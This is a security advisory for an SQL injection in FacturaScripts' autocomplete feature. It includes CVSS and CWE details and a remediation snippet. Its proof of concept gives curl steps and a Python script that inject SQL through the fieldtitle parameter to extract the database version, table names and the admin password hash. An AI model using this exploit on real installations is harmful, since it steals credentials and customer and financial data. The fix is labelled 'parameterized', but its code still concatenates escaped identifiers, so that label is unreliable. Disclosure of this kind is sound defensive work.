FacturaScripts has SQL Injection in Autocomplete Actions

Description

Summary

FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.


Details

Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

Vulnerable Code Location

File: /Core/Model/CodeModel.php
Method: all()
Lines: 108-109

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Vulnerable Parameters

The following parameters are vulnerable to SQL Injection:

  1. source → Maps to $tableName - Table name injection
  2. fieldcode → Maps to $fieldCode - Column name injection
  3. fieldtitle → Maps to $fieldDescription - Column name injection (Primary attack vector)

Attack Flow

  1. Attacker authenticates with valid credentials (any user role)
  2. Attacker sends POST request to /CopyModel with action=autocomplete
  3. Malicious SQL functions/queries are injected via the fieldtitle parameter
  4. Application executes the injected SQL and returns results in JSON format
  5. Attacker extracts sensitive data from the database

Proof of Concept (PoC)

Prerequisites

  • Valid authentication credentials (admin/admin in test instance)
  • Access to FacturaScripts web interface

Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.

1. Obtain initial token and session cookie:
FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie.

TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Authenticate (Login):
Use the saved cookie and the token to log in.

curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Extract Database Version:
Obtain a fresh token for the next request and execute the injection.

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Extract Database User and Name:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Extract Admin Password Hash:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Automated Exploitation Script

#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()

<img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />


Impact

This SQL injection vulnerability has CRITICAL impact:

Data Confidentiality

  • Complete database disclosure - Attacker can extract all data including:
  • User credentials (password hashes)
  • Customer information (names, addresses, tax IDs, etc.)
  • Financial records (invoices, payments, bank details)
  • Business logic and configuration data
  • Plugin and system settings

Who is Impacted?

  • All FacturaScripts installations running vulnerable versions
  • All authenticated users can exploit (not just admins)
  • Businesses using FacturaScripts for accounting/invoicing
  • Customers whose data is stored in the system

Recommended Fix

Immediate Remediation

Option 1: Use Prepared Statements

// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()-&gt;escapeColumn($tableName);
    $safeFieldCode = self::db()-&gt;escapeColumn($fieldCode);
    $safeFieldDescription = self::db()-&gt;escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = &#x27;SELECT DISTINCT &#x27; . $safeFieldCode . &#x27; AS code, &#x27; . $safeFieldDescription . &#x27; AS description &#x27;
        . &#x27;FROM &#x27; . $safeTableName . Where::multiSqlLegacy($where) . &#x27; ORDER BY 2 ASC&#x27;;

    foreach (self::db()-&gt;selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Credits

Discovered by: Łukasz Rybak

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-02-03 18:17:24 UTC
Updated
2026-02-04 21:57:26 UTC
GitHub reviewed
2026-02-03 18:17:24 UTC
NVD published
2026-02-04

EPSS Score

Score Percentile
0.03% 6.96%

CVSS Scores

Base score Version Severity Vector
8.7 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:L)
Exploitation conditions are straightforward and stable.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:L)
Low privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:H)
High confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:H)
High availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:N)
No confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:N)
No integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.

Identifiers

CWEs

CWE id Name
CWE-20 Improper Input Validation
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
CWE-943 Improper Neutralization of Special Elements in Data Query Logic

Credits

  • lukasz-rybak (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer facturascripts/facturascripts < 2025.81 2025.81

References

cvelogic Threat Intelligence